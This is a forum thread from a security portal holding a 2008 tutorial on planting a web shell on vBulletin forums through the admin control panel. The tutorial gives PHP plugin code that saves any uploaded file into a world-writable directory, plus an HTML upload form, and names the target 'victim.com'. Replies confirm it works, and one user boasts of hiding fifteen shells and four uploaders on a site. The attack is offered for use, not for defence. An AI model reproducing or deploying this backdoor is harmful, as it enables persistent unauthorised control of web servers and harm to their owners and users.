Waraxe IT Security Portal
Login or Register
October 21, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 406
Members: 0
Total: 406
Full disclosure
[0day-rubbish] TRENDnet TV-IP302PI firmware 1.02.38 authenticated NTP server-address OS command injection to root command execution via a shell-form system() call (7.2 High, PR:H)
[0day-rubbish] Royal Render 9.1.26b: default-unauthenticated job submission on rrServer TCP 7773 reaches worker-side shell execution as the worker identity, measured root (8.1 High)
[0day-rubbish] ProSoft Technology RLX-IFH24E v2.2.44 unsigned firmware upgrade package to root command execution and full account-database overwrite (7.2)
[0day-rubbish] Parasoft Continuous Testing Platform 10.7.5-SNAPSHOT anonymous deserialization in the database restore path to JSP command execution as uid=1000 (9.8)
[0day-rubbish] Exasol Database 7.1.30 docker-db form: shipped default SYS credential to PYTHON3 UDF os.popen command execution as uid=500(exadefusr), output returned in-band (8.8)
[0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the setWAN WAN-configuration handler, root command execution (7.2)
[0day-rubbish] Edimax BR-6478AC firmware v2.20 authenticated command injection in the formWlanMP manufacturing-test handler, root command execution (7.2)
[ROOTEDCON] Call for Papers 2027 · RootedCON2027 (Madrid)
VestaCP <= 0.9.8-26: authenticated config-parser eval sinks ->root RCE (VESTACP-2026-001)
[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)
[0day-rubbish] Synametrics Syncrify 6.2 build 1178 authenticated PublicLink chunk-upload path traversal to /etc/cron.d and root command execution (7.5)
[0day-rubbish] South River Technologies Titan MFT Server 26.0.0 first-run administrator setup chained to job post-command injection, NT AUTHORITY\SYSTEM (8.1)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> vBulletin Board -> Uploading a Shell to vBulletin[All Versions]
Post new topicReply to topic View previous topic :: View next topic
Uploading a Shell to vBulletin[All Versions]
PostPosted: Wed Dec 31, 2008 12:46 am Reply with quote
Lymon
Beginner
Beginner
Joined: Sep 26, 2008
Posts: 2




Uploading Shell's To vBulletin Forums Via ACP


Thing's you'll need.
• Administrator Account Capable of Making Plugins
• An HTML Enabled Forum
• Or Template editing abilities.
• Folder chmod 777 for uploading. I used (images/avatars).

First thing is first, login to the Admin control panel.

The Scroll down on the side untill you see Plugins and Products.



Select New Plugin and you should get something like:



For the Hook Location Select Ajax_Complete

The Title isn't Important, name it whatever you want.

Execution order should be 5

And the code will be as follows:



Code:
$target_path = "images/avatars"; //edit this to your directory that is 777

$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);

if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file ". basename( $_FILES['uploadedfile']['name']).
" has been uploaded";
} else{
echo "There was an error uploading the file, please try again!";
}


And finally set the plugin as active,

It should be as followed:



Once you've saved visit

http://victim.com/forums/ajax.php

You should get a "No input File Specified" if you get that then you can continue, if not retry the first few steps!


~~~~~~~~~~~~~~~~~~Part 2~~~~~~~~~~~~~~~~~~~~~~~~~


Your Almost Done!

Next we need a place where we can choose the file to upload...hmmm

Let's try good ol' HTML

Code:
<form enctype="multipart/form-data" action="ajax.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="100000" />
Choose a file to upload: <input name="uploadedfile" type="file" /><br />
<input type="hidden" name="s" value="$session[sessionhash]" />
<input type="hidden" name="securitytoken" value="$bbuserinfo[securitytoken]" />
<input type="submit" value="Upload File" />
</form>


Place that anywhere on the site where HTML is enabled OR edit the Template and BAM you have yourself a way to upload the shell, OR any other file for that matter Wink

Tutorial By: Lymon

Please do not re-distribute without my permission.


Thanks & Good Luck!
View user's profile Send private message Visit poster's website
PostPosted: Wed Dec 31, 2008 1:13 am Reply with quote
r00tfate1
Beginner
Beginner
Joined: Dec 31, 2008
Posts: 1




Yep ive used be4 it works like a charm Very Happy
this prolly works on other forums as well
View user's profile Send private message
PostPosted: Wed Dec 31, 2008 6:30 am Reply with quote
tehhunter
Valuable expert
Valuable expert
Joined: Nov 19, 2008
Posts: 261




Great post, I'll refer others to it. Surprised
View user's profile Send private message
Am getting bellow error.
PostPosted: Wed Apr 15, 2009 6:38 am Reply with quote
transfer
Regular user
Regular user
Joined: Apr 14, 2009
Posts: 11




Am getting bellow error.

Parse error: syntax error, unexpected '<' in /home/XXXXX/public_html/ajax.php(754) : eval()'d code on line 1

Any one guide me..

Thanks in advance
View user's profile Send private message
PostPosted: Wed Apr 15, 2009 5:39 pm Reply with quote
-AO-
Advanced user
Advanced user
Joined: Jul 15, 2008
Posts: 205
Location: United States




You didn't wrap the php code with <? ?> did you? If you did take them off...
View user's profile Send private message Yahoo Messenger
PostPosted: Thu Apr 30, 2009 10:33 pm Reply with quote
Overhit
Beginner
Beginner
Joined: Apr 30, 2009
Posts: 3




Works wonderfully for me, I have 15 shells hidden on this site, and 4 remote uploaders hidden in the site.
View user's profile Send private message
Uploading a Shell to vBulletin[All Versions]
www.waraxe.us Forum Index -> vBulletin Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.053 Seconds